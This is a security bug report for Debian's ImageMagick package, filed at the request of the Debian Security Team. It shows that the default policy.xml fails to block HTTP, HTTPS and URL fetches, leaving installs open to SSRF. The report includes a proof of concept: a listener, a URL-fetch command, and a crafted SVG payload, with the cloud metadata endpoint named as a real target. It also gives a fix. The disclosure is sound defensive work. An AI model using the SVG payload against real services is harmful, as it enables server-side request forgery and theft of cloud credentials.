<div dir="ltr">Package: imagemagick<br>Version: 8:7.1.2.15+dfsg1-2<br>Severity: grave<br>Tags: security patch<br><br>Dear Maintainer,<br><br>The default ImageMagick security policy shipped by Debian in<br>debian/patches/0005-Add-a-debian-policy.patch<br>(installed as /etc/ImageMagick-7/policy.xml) attempts to block remote<br>HTTP/HTTPS/URL access -- the standard SSRF mitigation -- with these rules:<br><br>  <policy domain="delegate" rights="none" pattern="URL" /><br>  <policy domain="delegate" rights="none" pattern="HTTPS" /><br>  <policy domain="delegate" rights="none" pattern="HTTP" /><br><br>These rules are silently ineffective, so a default install still performs<br>outbound HTTP/HTTPS requests and is vulnerable to SSRF (CWE-918).<br><br>Root cause<br>----------<br>The http:/https: coders fetch URLs by invoking delegates named<br>"http:decode" / "https:decode" (coders/url.c). InvokeDelegate()<br>(MagickCore/delegate.c) enforces the "delegate" policy by glob-matching<br>the policy pattern against that full identifier string. The pattern<br>"HTTP" (no wildcards) does not match the literal string "http:decode",<br>so the rule is treated as inapplicable and the default (allow) wins.<br>The patterns "HTTP", "HTTPS" and "URL" therefore never block the URL<br>coders.<br><br>The "@*" path rule in the same file is enforced through a different code<br>path and does work, which gives operators false confidence that the<br>HTTP/HTTPS/URL restriction is also working.<br><br>Proof of concept<br>----------------<br>All commands run against the unmodified, as-installed policy.xml.<br><br>1. Minimal listener:<br><br>   python3 -c 'import http.server,socketserver<br>   class H(http.server.BaseHTTPRequestHandler):<br>    def do_GET(s): print("SSRF:",s.path); s.send_response(200); s.end_headers(); s.wfile.write(b"GIF89a;")<br>    def log_message(s,*a): pass<br>   socketserver.TCPServer(("127.0.0.1",7777),H).serve_forever()'<br><br>2. Confirm the restrictive policy is active (this is correctly blocked):<br><br>   echo x > /tmp/q.txt<br>   magick label:@/tmp/q.txt /tmp/q.png<br>   -> magick: attempt to perform an operation not allowed by the<br>      security policy `@/tmp/q.txt'<br><br>3. PoC 1 -- direct URL coder:<br><br>   magick <a href="http://127.0.0.1:7777/ssrf">http://127.0.0.1:7777/ssrf</a> out.png<br>   -> listener logs: SSRF: /ssrf<br><br>4. PoC 2 -- SSRF via untrusted SVG (the realistic web-service vector):<br><br>   printf '<svg xmlns:xlink="<a href="http://www.w3.org/1999/xlink">http://www.w3.org/1999/xlink</a>" width="10" height="10"><image xlink:href="<a href="http://127.0.0.1:7777/svg-ssrf">http://127.0.0.1:7777/svg-ssrf</a>" width="10" height="10"/></svg>' > evil.svg<br>   magick evil.svg out.png<br>   -> listener logs: SSRF: /svg-ssrf<br><br>Both requests are sent despite the delegate rights="none" rules.<br>Substituting a real internal target (e.g.<br><a href="http://169.254.169.254/latest/meta-data/">http://169.254.169.254/latest/meta-data/</a>) demonstrates real impact.<br><br>Impact<br>------<br>A service that thumbnails or converts user-supplied SVG (or URL) input<br>with ImageMagick can be coerced into attacker-controlled server-side<br>requests to internal services or cloud metadata endpoints, enabling<br>credential theft and internal port/host scanning. The exposure is worse<br>because operators believe they are protected: they deployed a policy<br>that explicitly lists HTTP, HTTPS and URL as forbidden.<br><br>Suggested fix<br>-------------<br>Replace the ineffective delegate rules with the coder-domain form, which<br>is enforced and covers every remote scheme:<br><br>  <policy domain="coder" rights="none" pattern="{HTTP,HTTPS,FTP,FTPS,URL,MSL,MVG}" /><br><br>(keeping the existing @* path rule). Verify with:<br><br>  magick <a href="http://127.0.0.1:1/x">http://127.0.0.1:1/x</a> x.png<br><br>which must be rejected by policy, not merely fail to connect.<br><br>Bastien Rouccaries has already prepared a fix; a CVE request is in<br>progress. I am filing here at the request of the Debian Security Team so<br>the fix is tracked in the BTS.<br><br>Tested on imagemagick 8:7.1.2.15+dfsg1-2; applies generally to the<br>ImageMagick 7.x series.<br><br>Regards,<br>Maram Sai Harsha Vardhan Reddy<br>Security Researcher<br><a href="mailto:maramsaiharsha24@gmail.com">maramsaiharsha24@gmail.com</a><br><br></div>